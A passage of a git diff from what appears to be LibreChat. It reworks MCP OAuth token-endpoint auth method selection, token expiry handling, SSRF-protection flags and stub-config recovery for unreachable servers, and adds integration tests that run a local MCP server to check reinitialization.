'application/x-www-form-urlencoded', ...oauthHeaders, }; - // init the request body const body = new URLSearchParams({ token }); body.set('token_type_hint', tokenType === 'refresh' ? 'refresh_token' : 'access_token'); - // process auth method - if (usesBasicAuth) { - // encode the client id and secret and add to the headers + if (authMethod === 'client_secret_basic') { const credentials = Buffer.from(`${metadata.clientId}:${metadata.clientSecret}`).toString( 'base64', ); headers['Authorization'] = `Basic ${credentials}`; - } else if (usesClientSecretPost) { - // add the client id and secret to the body + } else if (authMethod === 'client_secret_post') { body.set('client_secret', metadata.clientSecret); body.set('client_id', metadata.clientId); } diff --git a/packages/api/src/mcp/oauth/index.ts b/packages/api/src/mcp/oauth/index.ts index d9c75071e0..1c4d98213e 100644 --- a/packages/api/src/mcp/oauth/index.ts +++ b/packages/api/src/mcp/oauth/index.ts @@ -2,3 +2,4 @@ export * from './types'; export * from './handler'; export * from './tokens'; export * from './detectOAuth'; +export * from './methods'; diff --git a/packages/api/src/mcp/oauth/methods.ts b/packages/api/src/mcp/oauth/methods.ts new file mode 100644 index 0000000000..a2b7cfd1e2 --- /dev/null +++ b/packages/api/src/mcp/oauth/methods.ts @@ -0,0 +1,111 @@ +import { TokenExchangeMethodEnum } from 'librechat-data-provider'; + +type ClientAuthMethod = 'client_secret_basic' | 'client_secret_post' | 'none'; + +/** Unordered roster of auth methods we can handle — order is irrelevant; server's list controls priority */ +const SUPPORTED_AUTH_METHODS: ReadonlySet = new Set([ + 'client_secret_basic', + 'client_secret_post', + 'none', +]); + +/** Maps a user-facing `TokenExchangeMethodEnum` to an OAuth auth method string. */ +export function getForcedTokenEndpointAuthMethod( + tokenExchangeMethod?: TokenExchangeMethodEnum, +): 'client_secret_basic' | 'client_secret_post' | undefined { + if (tokenExchangeMethod === TokenExchangeMethodEnum.DefaultPost) { + return 'client_secret_post'; + } + if (tokenExchangeMethod === TokenExchangeMethodEnum.BasicAuthHeader) { + return 'client_secret_basic'; + } + return undefined; +} + +/** + * Selects the auth method to request during dynamic client registration. + * + * Priority: + * 1. Forced override from `tokenExchangeMethod` config + * 2. First credential-based method from server's advertised list (skips `none` per RFC 7591 — + * `none` declares a public client, which is incorrect for DCR with a generated secret) + * 3. `none` if the server only advertises `none` + * 4. Server's first listed method (unsupported exotic method — best-effort) + * 5. Falls through to `undefined` (caller keeps its default) + */ +export function selectRegistrationAuthMethod( + serverAdvertised: string[] | undefined, + tokenExchangeMethod?: TokenExchangeMethodEnum, +): string | undefined { + const forced = getForcedTokenEndpointAuthMethod(tokenExchangeMethod); + if (forced) { + return forced; + } + + if (!serverAdvertised?.length) { + return undefined; + } + + const credentialPreferred = serverAdvertised.find( + (m) => SUPPORTED_AUTH_METHODS.has(m) && m !== 'none', + ); + if (credentialPreferred) { + return credentialPreferred; + } + + const serverPreferred = serverAdvertised.find((m) => SUPPORTED_AUTH_METHODS.has(m)); + return serverPreferred ?? serverAdvertised[0]; +} + +/** + * Resolves the auth method for token endpoint requests (refresh, pre-configured flows). + * + * Priority: + * 1. Forced override from `tokenExchangeMethod` config + * 2. Preferred method from client registration response (`clientInfo.token_endpoint_auth_method`) + * 3. First match from server's advertised methods + */ +export function resolveTokenEndpointAuthMethod(options: { + tokenExchangeMethod?: TokenExchangeMethodEnum; + tokenAuthMethods: string[]; + preferredMethod?: string; +}): 'client_secret_basic' | 'client_secret_post' | undefined { + const forced = getForcedTokenEndpointAuthMethod(options.tokenExchangeMethod); + const preferredMethod = forced ?? options.preferredMethod; + + if (preferredMethod === 'client_secret_basic' || preferredMethod === 'client_secret_post') { + return preferredMethod; + } + + if (options.tokenAuthMethods.includes('client_secret_basic')) { + return 'client_secret_basic'; + } + if (options.tokenAuthMethods.includes('client_secret_post')) { + return 'client_secret_post'; + } + return undefined; +} + +/** + * Infers the client auth method from request state when `clientInfo.token_endpoint_auth_method` + * is not set. Used inside the fetch wrapper to determine how credentials were applied by the SDK. + * + * Per RFC 8414 Section 2, defaults to `client_secret_basic` for confidential clients. + */ +export function inferClientAuthMethod( + hasAuthorizationHeader: boolean, + hasBodyClientId: boolean, + hasBodyClientSecret: boolean, + hasClientSecret: boolean, +): ClientAuthMethod { + if (hasAuthorizationHeader) { + return 'client_secret_basic'; + } + if (hasBodyClientId || hasBodyClientSecret) { + return 'client_secret_post'; + } + if (hasClientSecret) { + return 'client_secret_basic'; + } + return 'none'; +} diff --git a/packages/api/src/mcp/oauth/tokens.ts b/packages/api/src/mcp/oauth/tokens.ts index 005ed7dd9a..6094a05386 100644 --- a/packages/api/src/mcp/oauth/tokens.ts +++ b/packages/api/src/mcp/oauth/tokens.ts @@ -4,6 +4,15 @@ import type { TokenMethods, IToken } from '@librechat/data-schemas'; import type { MCPOAuthTokens, ExtendedOAuthTokens, OAuthMetadata } from './types'; import { isSystemUserId } from '~/mcp/enum'; +export class ReauthenticationRequiredError extends Error { + constructor(serverName: string, reason: 'expired' | 'missing') { + super( + `Re-authentication required for "${serverName}": access token ${reason} and no refresh token available`, + ); + this.name = 'ReauthenticationRequiredError'; + } +} + interface StoreTokensParams { userId: string; serverName: string; @@ -27,7 +36,12 @@ interface GetTokensParams { findToken: TokenMethods['findToken']; refreshTokens?: ( refreshToken: string, - metadata: { userId: string; serverName: string; identifier: string }, + metadata: { + userId: string; + serverName: string; + identifier: string; + clientInfo?: OAuthClientInformation; + }, ) => Promise; createToken?: TokenMethods['createToken']; updateToken?: TokenMethods['updateToken']; @@ -69,46 +83,40 @@ export class MCPTokenStorage { `${logPrefix} Token expires_in: ${'expires_in' in tokens ? tokens.expires_in : 'N/A'}, expires_at: ${'expires_at' in tokens ? tokens.expires_at : 'N/A'}`, ); - // Handle both expires_in and expires_at formats + const defaultTTL = 365 * 24 * 60 * 60; + let accessTokenExpiry: Date; + let expiresInSeconds: number; if ('expires_at' in tokens && tokens.expires_at) { /** MCPOAuthTokens format - already has calculated expiry */ logger.debug(`${logPrefix} Using expires_at: ${tokens.expires_at}`); accessTokenExpiry = new Date(tokens.expires_at); + expiresInSeconds = Math.floor((accessTokenExpiry.getTime() - Date.now()) / 1000); } else if (tokens.expires_in) { - /** Standard OAuthTokens format - calculate expiry */ + /** Standard OAuthTokens format - use expires_in directly to avoid lossy Date round-trip */ logger.debug(`${logPrefix} Using expires_in: ${tokens.expires_in}`); + expiresInSeconds = tokens.expires_in; accessTokenExpiry = new Date(Date.now() + tokens.expires_in * 1000); } else { - /** No expiry provided - default to 1 year */ logger.debug(`${logPrefix} No expiry provided, using default`); - accessTokenExpiry = new Date(Date.now() + 365 * 24 * 60 * 60 * 1000); + expiresInSeconds = defaultTTL; + accessTokenExpiry = new Date(Date.now() + defaultTTL * 1000); } logger.debug(`${logPrefix} Calculated expiry date: ${accessTokenExpiry.toISOString()}`); - logger.debug( - `${logPrefix} Date object: ${JSON.stringify({ - time: accessTokenExpiry.getTime(), - valid: !isNaN(accessTokenExpiry.getTime()), - iso: accessTokenExpiry.toISOString(), - })}`, - ); - // Ensure the date is valid before passing to createToken if (isNaN(accessTokenExpiry.getTime())) { logger.error(`${logPrefix} Invalid expiry date calculated, using default`); - accessTokenExpiry = new Date(Date.now() + 365 * 24 * 60 * 60 * 1000); + accessTokenExpiry = new Date(Date.now() + defaultTTL * 1000); + expiresInSeconds = defaultTTL; } - // Calculate expiresIn (seconds from now) - const expiresIn = Math.floor((accessTokenExpiry.getTime() - Date.now()) / 1000); - const accessTokenData = { userId, type: 'mcp_oauth', identifier, token: encryptedAccessToken, - expiresIn: expiresIn > 0 ? expiresIn : 365 * 24 * 60 * 60, // Default to 1 year if negative + expiresIn: expiresInSeconds > 0 ? expiresInSeconds : defaultTTL, }; // Check if token already exists and update if it does @@ -273,10 +281,11 @@ export class MCPTokenStorage { }); if (!refreshTokenData) { + const reason = isMissing ? 'missing' : 'expired'; logger.info( - `${logPrefix} Access token ${isMissing ? 'missing' : 'expired'} and no refresh token available`, + `${logPrefix} Access token ${reason} and no refresh token available — re-authentication required`, ); - return null; + throw new ReauthenticationRequiredError(serverName, reason); } if (!refreshTokens) { @@ -395,6 +404,9 @@ export class MCPTokenStorage { logger.debug(`${logPrefix} Loaded existing OAuth tokens from storage`); return tokens; } catch (error) { + if (error instanceof ReauthenticationRequiredError) { + throw error; + } logger.error(`${logPrefix} Failed to retrieve tokens`, error); return null; } diff --git a/packages/api/src/mcp/oauth/types.ts b/packages/api/src/mcp/oauth/types.ts index 178e20e35b..2138b4a782 100644 --- a/packages/api/src/mcp/oauth/types.ts +++ b/packages/api/src/mcp/oauth/types.ts @@ -88,6 +88,7 @@ export interface MCPOAuthFlowMetadata extends FlowMetadata { clientInfo?: OAuthClientInformation; metadata?: OAuthMetadata; resourceMetadata?: OAuthProtectedResourceMetadata; + authorizationUrl?: string; } export interface MCPOAuthTokens extends OAuthTokens { diff --git a/packages/api/src/mcp/registry/MCPServerInspector.ts b/packages/api/src/mcp/registry/MCPServerInspector.ts index 2263c10422..eea52bbf2e 100644 --- a/packages/api/src/mcp/registry/MCPServerInspector.ts +++ b/packages/api/src/mcp/registry/MCPServerInspector.ts @@ -18,6 +18,7 @@ export class MCPServerInspector { private readonly serverName: string, private readonly config: t.ParsedServerConfig, private connection: MCPConnection | undefined, + private readonly useSSRFProtection: boolean = false, ) {} /** @@ -42,8 +43,9 @@ export class MCPServerInspector { throw new MCPDomainNotAllowedError(domain ?? 'unknown'); } + const useSSRFProtection = !Array.isArray(allowedDomains) || allowedDomains.length === 0; const start = Date.now(); - const inspector = new MCPServerInspector(serverName, rawConfig, connection); + const inspector = new MCPServerInspector(serverName, rawConfig, connection, useSSRFProtection); await inspector.inspectServer(); inspector.config.initDuration = Date.now() - start; return inspector.config; @@ -57,8 +59,10 @@ export class MCPServerInspector { if (!this.connection) { tempConnection = true; this.connection = await MCPConnectionFactory.create({ - serverName: this.serverName, serverConfig: this.config, + serverName: this.serverName, + dbSourced: !!this.config.dbId, + useSSRFProtection: this.useSSRFProtection, }); } diff --git a/packages/api/src/mcp/registry/MCPServersInitializer.ts b/packages/api/src/mcp/registry/MCPServersInitializer.ts index 92505db12b..a8b8e3ca8a 100644 --- a/packages/api/src/mcp/registry/MCPServersInitializer.ts +++ b/packages/api/src/mcp/registry/MCPServersInitializer.ts @@ -1,11 +1,10 @@ -import { registryStatusCache as statusCache } from './cache/RegistryStatusCache'; -import { isLeader } from '~/cluster'; -import { withTimeout } from '~/utils'; import { logger } from '@librechat/data-schemas'; -import { ParsedServerConfig } from '~/mcp/types'; -import { sanitizeUrlForLogging } from '~/mcp/utils'; import type * as t from '~/mcp/types'; +import { registryStatusCache as statusCache } from './cache/RegistryStatusCache'; import { MCPServersRegistry } from './MCPServersRegistry'; +import { sanitizeUrlForLogging } from '~/mcp/utils'; +import { withTimeout } from '~/utils'; +import { isLeader } from '~/cluster'; const MCP_INIT_TIMEOUT_MS = process.env.MCP_INIT_TIMEOUT_MS != null ? parseInt(process.env.MCP_INIT_TIMEOUT_MS) : 30_000; @@ -80,11 +79,22 @@ export class MCPServersInitializer { MCPServersInitializer.logParsedConfig(serverName, result.config); } catch (error) { logger.error(`${MCPServersInitializer.prefix(serverName)} Failed to initialize:`, error); + try { + await MCPServersRegistry.getInstance().addServerStub(serverName, rawConfig, 'CACHE'); + logger.info( + `${MCPServersInitializer.prefix(serverName)} Stored stub config for recovery via reinitialize`, + ); + } catch (stubError) { + logger.error( + `${MCPServersInitializer.prefix(serverName)} Failed to store stub config:`, + stubError, + ); + } } } // Logs server configuration summary after initialization - private static logParsedConfig(serverName: string, config: ParsedServerConfig): void { + private static logParsedConfig(serverName: string, config: t.ParsedServerConfig): void { const prefix = MCPServersInitializer.prefix(serverName); logger.info(`${prefix} -------------------------------------------------┐`); logger.info(`${prefix} URL: ${config.url ? sanitizeUrlForLogging(config.url) : 'N/A'}`); diff --git a/packages/api/src/mcp/registry/MCPServersRegistry.ts b/packages/api/src/mcp/registry/MCPServersRegistry.ts index 54b62c3ff9..506f5b1baa 100644 --- a/packages/api/src/mcp/registry/MCPServersRegistry.ts +++ b/packages/api/src/mcp/registry/MCPServersRegistry.ts @@ -26,6 +26,10 @@ export class MCPServersRegistry { private readonly allowedDomains?: string[] | null; private readonly readThroughCache: Keyv; private readonly readThroughCacheAll: Keyv>; + private readonly pendingGetAllPromises = new Map< + string, + Promise> + >(); constructor(mongoose: typeof import('mongoose'), allowedDomains?: string[] | null) { this.dbConfigsRepo = new ServerConfigsDB(mongoose); @@ -73,6 +77,15 @@ export class MCPServersRegistry { return MCPServersRegistry.instance; } + public getAllowedDomains(): string[] | null | undefined { + return this.allowedDomains; + } + + /** Returns true when no explicit allowedDomains allowlist is configured, enabling SSRF TOCTOU protection */ + public shouldEnableSSRFProtection(): boolean { + return !Array.isArray(this.allowedDomains) || this.allowedDomains.length === 0; + } + public async getServerConfig( serverName: string, userId?: string, @@ -99,11 +112,29 @@ export class MCPServersRegistry { public async getAllServerConfigs(userId?: string): Promise> { const cacheKey = userId ?? '__no_user__'; - // Check if key exists in read-through cache if (await this.readThroughCacheAll.has(cacheKey)) { return (await this.readThroughCacheAll.get(cacheKey)) ?? {}; } + const pending = this.pendingGetAllPromises.get(cacheKey); + if (pending) { + return pending; + } + + const fetchPromise = this.fetchAllServerConfigs(cacheKey, userId); + this.pendingGetAllPromises.set(cacheKey, fetchPromise); + + try { + return await fetchPromise; + } finally { + this.pendingGetAllPromises.delete(cacheKey); + } + } + + private async fetchAllServerConfigs( + cacheKey: string, + userId?: string, + ): Promise> { const result = { ...(await this.cacheConfigsRepo.getAll()), ...(await this.dbConfigsRepo.getAll(userId)), @@ -113,6 +144,24 @@ export class MCPServersRegistry { return result; } + /** + * Stores a minimal config stub so the server remains "known" to the registry + * even when inspection fails at startup. This enables reinitialize to recover. + */ + public async addServerStub( + serverName: string, + config: t.MCPOptions, + storageLocation: 'CACHE' | 'DB', + userId?: string, + ): Promise { + const configRepo = this.getConfigRepository(storageLocation); + const stubConfig: t.ParsedServerConfig = { ...config, inspectionFailed: true }; + const result = await configRepo.add(serverName, stubConfig, userId); + await this.readThroughCache.delete(this.getReadThroughCacheKey(serverName, userId)); + await this.readThroughCache.delete(this.getReadThroughCacheKey(serverName)); + return result; + } + public async addServer( serverName: string, config: t.MCPOptions, @@ -139,6 +188,52 @@ export class MCPServersRegistry { return await configRepo.add(serverName, parsedConfig, userId); } + /** + * Re-inspects a server that previously failed initialization. + * Uses the stored stub config to attempt a full inspection and replaces the stub on success. + */ + public async reinspectServer( + serverName: string, + storageLocation: 'CACHE' | 'DB', + userId?: string, + ): Promise { + const configRepo = this.getConfigRepository(storageLocation); + const existing = await configRepo.get(serverName, userId); + if (!existing) { + throw new Error(`Server "${serverName}" not found in ${storageLocation} for reinspection.`); + } + if (!existing.inspectionFailed) { + throw new Error( + `Server "${serverName}" is not in a failed state. Use updateServer() instead.`, + ); + } + + const { inspectionFailed: _, ...configForInspection } = existing; + let parsedConfig: t.ParsedServerConfig; + try { + parsedConfig = await MCPServerInspector.inspect( + serverName, + configForInspection, + undefined, + this.allowedDomains, + ); + } catch (error) { + logger.error(`[MCPServersRegistry] Reinspection failed for server "${serverName}":`, error); + if (isMCPDomainNotAllowedError(error)) { + throw error; + } + throw new MCPInspectionFailedError(serverName, error as Error); + } + + const updatedConfig = { ...parsedConfig, updatedAt: Date.now() }; + await configRepo.update(serverName, updatedConfig, userId); + await this.readThroughCache.delete(this.getReadThroughCacheKey(serverName, userId)); + await this.readThroughCache.delete(this.getReadThroughCacheKey(serverName)); + // Full clear required: getAllServerConfigs is keyed by userId with no reverse index to enumerate cached keys + await this.readThroughCacheAll.clear(); + return { serverName, config: updatedConfig }; + } + public async updateServer( serverName: string, config: t.MCPOptions, diff --git a/packages/api/src/mcp/registry/__tests__/MCPReinitRecovery.integration.test.ts b/packages/api/src/mcp/registry/__tests__/MCPReinitRecovery.integration.test.ts new file mode 100644 index 0000000000..9545486fde --- /dev/null +++ b/packages/api/src/mcp/registry/__tests__/MCPReinitRecovery.integration.test.ts @@ -0,0 +1,488 @@ +/** + * Integration tests for MCP server reinitialize recovery (issue #12143). + * + * Reproduces the bug: when an MCP server is unreachable at startup, + * inspection fails and the server config is never stored — making the + * reinitialize button return 404 and blocking all recovery. + * + * These tests spin up a real in-process MCP server using the SDK's + * StreamableHTTPServerTransport and exercise the full + * MCPServersInitializer → MCPServersRegistry → MCPServerInspector pipeline + * with real connections — no mocked transports, no mocked inspections. + * + * Minimal mocks: only logger, auth/SSRF, cluster, mcpConfig, and DB repo + * (to avoid MongoDB). Everything else — the inspector, registry, cache, + * initializer, and MCP connection — runs for real. + */ + +import * as net from 'net'; +import * as http from 'http'; +import { Keyv } from 'keyv'; +import { Agent } from 'undici'; +import { Types } from 'mongoose'; +import { randomUUID } from 'crypto'; +import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; +import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js'; +import type { IUser } from '@librechat/data-schemas'; +import type { Socket } from 'net'; +import type * as t from '~/mcp/types'; +import { registryStatusCache } from '~/mcp/registry/cache/RegistryStatusCache'; +import { MCPServersInitializer } from '~/mcp/registry/MCPServersInitializer'; +import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry'; +import { ConnectionsRepository } from '~/mcp/ConnectionsRepository'; +import { MCPInspectionFailedError } from '~/mcp/errors'; +import { FlowStateManager } from '~/flow/manager'; +import { MCPConnection } from '~/mcp/connection'; +import { MCPManager } from '~/mcp/MCPManager'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, +})); + +jest.mock('~/auth', () => ({ + createSSRFSafeUndiciConnect: jest.fn(() => undefined), + resolveHostnameSSRF: jest.fn(async () => false), +})); + +jest.mock('~/cluster', () => ({ + isLeader: jest.fn().mockResolvedValue(true), +})); + +jest.mock('~/mcp/mcpConfig', () => ({ + mcpConfig: { CONNECTION_CHECK_TTL: 0 }, +})); + +jest.mock('~/mcp/registry/db/ServerConfigsDB', () => ({ + ServerConfigsDB: jest.fn().mockImplementation(() => ({ + get: jest.fn().mockResolvedValue(undefined), + getAll: jest.fn().mockResolvedValue({}), + add: jest.fn().mockResolvedValue(undefined), + update: jest.fn().mockResolvedValue(undefined), + remove: jest.fn().mockResolvedValue(undefined), + reset: jest.fn().mockResolvedValue(undefined), + })), +})); + +const mockMongoose = {} as typeof import('mongoose'); + +const allAgentsCreated: Agent[] = []; +const OriginalAgent = Agent; +const PatchedAgent = new Proxy(OriginalAgent, { + construct(target, args) { + const instance = new target(...(args as [Agent.Options?])); + allAgentsCreated.push(instance); + return instance; + }, +}); +(global as Record).__undiciAgent = PatchedAgent; + +afterAll(async () => { + const destroying = allAgentsCreated.map((a) => { + if (!a.destroyed && !a.closed) { + return a.destroy().catch(() => undefined); + } + return Promise.resolve(); + }); + allAgentsCreated.length = 0; + await Promise.all(destroying); +}); + +async function safeDisconnect(conn: MCPConnection | null): Promise { + if (!conn) return; + (conn as unknown as { shouldStopReconnecting: boolean }).shouldStopReconnecting = true; + conn.removeAllListeners(); + await conn.disconnect(); +} + +function getFreePort(): Promise { + return new Promise((resolve, reject) => { + const srv = net.createServer(); + srv.listen(0, '127.0.0.1', () => { + const addr = srv.address() as net.AddressInfo; + srv.close((err) => (err ? reject(err) : resolve(addr.port))); + }); + }); +} + +function trackSockets(httpServer: http.Server): () => Promise { + const sockets = new Set(); + httpServer.on('connection', (socket: Socket) => { + sockets.add(socket); + socket.once('close', () => sockets.delete(socket)); + }); + return () => + new Promise((resolve) => { + for (const socket of sockets) socket.destroy(); + sockets.clear(); + httpServer.close(() => resolve()); + }); +} + +interface TestServer { + url: string; + port: number; + close: () => Promise; +} + +async function createMCPServerOnPort(port: number): Promise { + const sessions = new Map(); + + const httpServer = http.createServer(async (req, res) => { + const sid = req.headers['mcp-session-id'] as string | undefined; + let transport = sid ? sessions.get(sid) : undefined; + + if (!transport) { + transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() }); + const mcp = new McpServer({ name: 'recovery-test-server', version: '0.0.1' }); + mcp.tool('echo', 'Echo tool for testing', {}, async () => ({ + content: [{ type: 'text', text: 'ok' }], + })); + mcp.tool('greet', 'Greeting tool', {}, async () => ({ + content: [{ type: 'text', text: 'hello' }], + })); + await mcp.connect(transport); + } + + await transport.handleRequest(req, res); + + if (transport.sessionId && !sessions.has(transport.sessionId)) { + sessions.set(transport.sessionId, transport); + transport.onclose = () => sessions.delete(transport!.sessionId!); + } + }); + + const destroySockets = trackSockets(httpServer); + await new Promise((resolve) => httpServer.listen(port, '127.0.0.1', resolve)); + + return { + url: `http://127.0.0.1:${port}/`, + port, + close: async () => { + const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined)); + sessions.clear(); + await Promise.all(closing); + await destroySockets(); + }, + }; +} + +describe('MCP reinitialize recovery – integration (issue #12143)', () => { + let server: TestServer | null = null; + let conn: MCPConnection | null = null; + let registry: MCPServersRegistry; + + beforeEach(async () => { + (MCPServersRegistry as unknown as { instance: undefined }).instance = undefined; + MCPServersRegistry.createInstance(mockMongoose, ['127.0.0.1']); + registry = MCPServersRegistry.getInstance(); + await registryStatusCache.reset(); + await registry.reset(); + MCPServersInitializer.resetProcessFlag(); + }); + + afterEach(async () => { + await safeDisconnect(conn); + conn = null; + // Reset MCPManager if it was created during the test + try { + const mgr = MCPManager.getInstance(); + await Promise.all(mgr.appConnections?.disconnectAll() ?? []); + } catch { + // Not initialized — nothing to clean up + } + (MCPManager as unknown as { instance: null }).instance = null; + if (server) { + await server.close(); + server = null; + } + }); + + it('should store a stub config when the MCP server is unreachable at startup', async () => { + const deadPort = await getFreePort(); + const configs: t.MCPServers = { + 'speedy-mcp': { + type: 'streamable-http', + url: `http://127.0.0.1:${deadPort}/`, + }, + }; + + await MCPServersInitializer.initialize(configs); + + // Before the fix: getServerConfig would return undefined here + // After the fix: a stub with inspectionFailed=true is stored + const config = await registry.getServerConfig('speedy-mcp'); + expect(config).toBeDefined(); + expect(config!.inspectionFailed).toBe(true); + expect(config!.url).toBe(`http://127.0.0.1:${deadPort}/`); + expect(config!.tools).toBeUndefined(); + expect(config!.capabilities).toBeUndefined(); + expect(config!.toolFunctions).toBeUndefined(); + }); + + it('should recover via reinspectServer after the MCP server comes back online', async () => { + // Phase 1: Server is down at startup + const deadPort = await getFreePort(); + const configs: t.MCPServers = { + 'speedy-mcp': { + type: 'streamable-http', + url: `http://127.0.0.1:${deadPort}/`, + }, + }; + + await MCPServersInitializer.initialize(configs); + + const stubConfig = await registry.getServerConfig('speedy-mcp'); + expect(stubConfig).toBeDefined(); + expect(stubConfig!.inspectionFailed).toBe(true); + + // Phase 2: Start the real server on the same (previously dead) port + server = await createMCPServerOnPort(deadPort); + + // Phase 3: Reinspect — this is what the reinitialize button triggers + const result = await registry.reinspectServer('speedy-mcp', 'CACHE'); + + // Verify the stub was replaced with a fully inspected config + expect(result.config.inspectionFailed).toBeUndefined(); + expect(result.config.tools).toContain('echo'); + expect(result.config.tools).toContain('greet'); + expect(result.config.capabilities).toBeDefined(); + expect(result.config.toolFunctions).toBeDefined(); + + // Verify the registry now returns the real config + const realConfig = await registry.getServerConfig('speedy-mcp'); + expect(realConfig).toBeDefined(); + expect(realConfig!.inspectionFailed).toBeUndefined(); + expect(realConfig!.tools).toContain('echo'); + }); + + it('should allow a real client connection after reinspection succeeds', async () => { + // Phase 1: Server is down at startup + const deadPort = await getFreePort(); + const configs: t.MCPServers = { + 'speedy-mcp': { + type: 'streamable-http', + url: `http://127.0.0.1:${deadPort}/`, + }, + }; + + await MCPServersInitializer.initialize(configs); + expect((await registry.getServerConfig('speedy-mcp'))!.inspectionFailed).toBe(true); + + // Phase 2: Server comes back online on the same port + server = await createMCPServerOnPort(deadPort); + + // Phase 3: Reinspect + await registry.reinspectServer('speedy-mcp', 'CACHE'); + + // Phase 4: Establish a real client connection + conn = new MCPConnection({ + serverName: 'speedy-mcp', + serverConfig: { type: 'streamable-http', url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + const tools = await conn.fetchTools(); + + expect(tools).toHaveLength(2); + expect(tools.map((t) => t.name)).toContain('echo'); + expect(tools.map((t) => t.name)).toContain('greet'); + }); + + it('should not attempt connections to stub servers via ConnectionsRepository', async () => { + const deadPort = await getFreePort(); + await MCPServersInitializer.initialize({ + 'stub-srv': { type: 'streamable-http', url: `http://127.0.0.1:${deadPort}/` }, + }); + expect((await registry.getServerConfig('stub-srv'))!.inspectionFailed).toBe(true); + + const repo = new ConnectionsRepository(undefined); + expect(await repo.has('stub-srv')).toBe(false); + expect(await repo.get('stub-srv')).toBeNull(); + + const all = await repo.getAll(); + expect(all.has('stub-srv')).toBe(false); + }); + + it('addServerStub should clear negative read-through cache entries', async () => { + // Query a server that doesn't exist — result is negative-cached + const config1 = await registry.getServerConfig('late-server'); + expect(config1).toBeUndefined(); + + // Store a stub (simulating a failed init that runs after the lookup) + await registry.addServerStub( + 'late-server', + { type: 'streamable-http', url: 'http://127.0.0.1:9999/' }, + 'CACHE', + ); + + // The stub should be found despite the earlier negative cache entry + const config2 = await registry.getServerConfig('late-server'); + expect(config2).toBeDefined(); + expect(config2!.inspectionFailed).toBe(true); + }); + + it('concurrent reinspectServer calls should not crash or corrupt state', async () => { + const deadPort = await getFreePort(); + await MCPServersInitializer.initialize({ + 'race-server': { + type: 'streamable-http', + url: `http://127.0.0.1:${deadPort}/`, + }, + }); + expect((await registry.getServerConfig('race-server'))!.inspectionFailed).toBe(true); + + server = await createMCPServerOnPort(deadPort); + + // Simulate multiple users clicking Reinitialize at the same time. + // reinitMCPServer calls reinspectServer internally — this tests the critical section. + const n = 3 + Math.floor(Math.random() * 8); // 3–10 concurrent calls + const results = await Promise.allSettled( + Array.from({ length: n }, () => registry.reinspectServer('race-server', 'CACHE')), + ); + + const successes = results.filter((r) => r.status === 'fulfilled'); + const failures = results.filter((r) => r.status === 'rejected'); + + // At least one must succeed + expect(successes.length).toBeGreaterThanOrEqual(1); + + // Any failure must be the "not in a failed state" guard (the first call already + // replaced the stub), not an unhandled crash or data corruption. + for (const f of failures) { + expect((f as PromiseRejectedResult).reason.message).toMatch(/not in a failed state/); + } + + // Final state must be fully recovered regardless of how many succeeded + const config = await registry.getServerConfig('race-server'); + expect(config).toBeDefined(); + expect(config!.inspectionFailed).toBeUndefined(); + expect(config!.tools).toContain('echo'); + }); + + it('concurrent reinitMCPServer-equivalent flows should not crash or corrupt state', async () => { + const deadPort = await getFreePort(); + const serverName = 'concurrent-reinit'; + const configs: t.MCPServers = { + [serverName]: { + type: 'streamable-http', + url: `http://127.0.0.1:${deadPort}/`, + }, + }; + + // Reset MCPManager singleton so createInstance works + (MCPManager as unknown as { instance: null }).instance = null; + + // Initialize with dead server — this sets up both registry (stub) and MCPManager + await MCPManager.createInstance(configs); + const mcpManager = MCPManager.getInstance(); + + expect((await registry.getServerConfig(serverName))!.inspectionFailed).toBe(true); + + // Server comes back online + server = await createMCPServerOnPort(deadPort); + + const flowManager = new FlowStateManager(new Keyv(), { ttl: 60_000 }); + const makeUser = (): IUser => + ({ + _id: new Types.ObjectId(), + id: new Types.ObjectId().toString(), + username: 'testuser', + email: 'test@example.com', + name: 'Test', + avatar: '', + provider: 'email', + role: 'user', + emailVerified: true, + createdAt: new Date(), + updatedAt: new Date(), + }) as IUser; + + /** + * Replicate reinitMCPServer logic: check inspectionFailed → reinspect → getConnection. + * Each call uses a distinct user to simulate concurrent requests from different users. + */ + async function simulateReinitMCPServer(): Promise<{ success: boolean; tools: number }> { + const user = makeUser(); + const config = await registry.getServerConfig(serverName, user.id); + if (config?.inspectionFailed) { + try { + const storageLocation = config.dbId ? 'DB' : 'CACHE'; + await registry.reinspectServer(serverName, storageLocation, user.id); + } catch { + // Mirrors reinitMCPServer early return on failed reinspection + return { success: false, tools: 0 }; + } + } + + const connection = await mcpManager.getConnection({ + serverName, + user, + flowManager, + forceNew: true, + }); + + const tools = await connection.fetchTools(); + return { success: true, tools: tools.length }; + } + + const n = 3 + Math.floor(Math.random() * 5); // 3–7 concurrent calls + const results = await Promise.allSettled( + Array.from({ length: n }, () => simulateReinitMCPServer()), + ); + + // All promises should resolve (no unhandled throws) + for (const r of results) { + expect(r.status).toBe('fulfilled'); + } + + const values = (results as PromiseFulfilledResult<{ success: boolean; tools: number }>[]).map( + (r) => r.value, + ); + + // At least one full reinit must succeed with tools + const succeeded = values.filter((v) => v.success); + expect(succeeded.length).toBeGreaterThanOrEqual(1); + for (const s of succeeded) { + expect(s.tools).toBe(2); + } + + // Any that returned success: false hit the reinspect guard — that's fine + const earlyReturned = values.filter((v) => !v.success); + expect(earlyReturned.every((v) => v.tools === 0)).toBe(true); + + // Final registry state must be fully recovered + const finalConfig = await registry.getServerConfig(serverName); + expect(finalConfig).toBeDefined(); + expect(finalConfig!.inspectionFailed).toBeUndefined(); + expect(finalConfig!.tools).toContain('echo'); + }); + + it('reinspectServer should throw MCPInspectionFailedError when the server is still unreachable', async () => { + const deadPort = await getFreePort(); + const configs: t.MCPServers = { + 'still-broken': { + type: 'streamable-http', + url: `http://127.0.0.1:${deadPort}/`, + }, + }; + + await MCPServersInitializer.initialize(configs); + expect((await registry.getServerConfig('still-broken'))!.inspectionFailed).toBe(true); + + // Server is STILL down — reinspection should fail with MCPInspectionFailedError + await expect(registry.reinspectServer('still-broken', 'CACHE')).rejects.toThrow( + MCPInspectionFailedError, + ); + + // The stub should remain intact for future retry + const config = await registry.getServerConfig('still-broken'); + expect(config).toBeDefined(); + expect(config!.inspectionFailed).toBe(true); + }); +}); diff --git 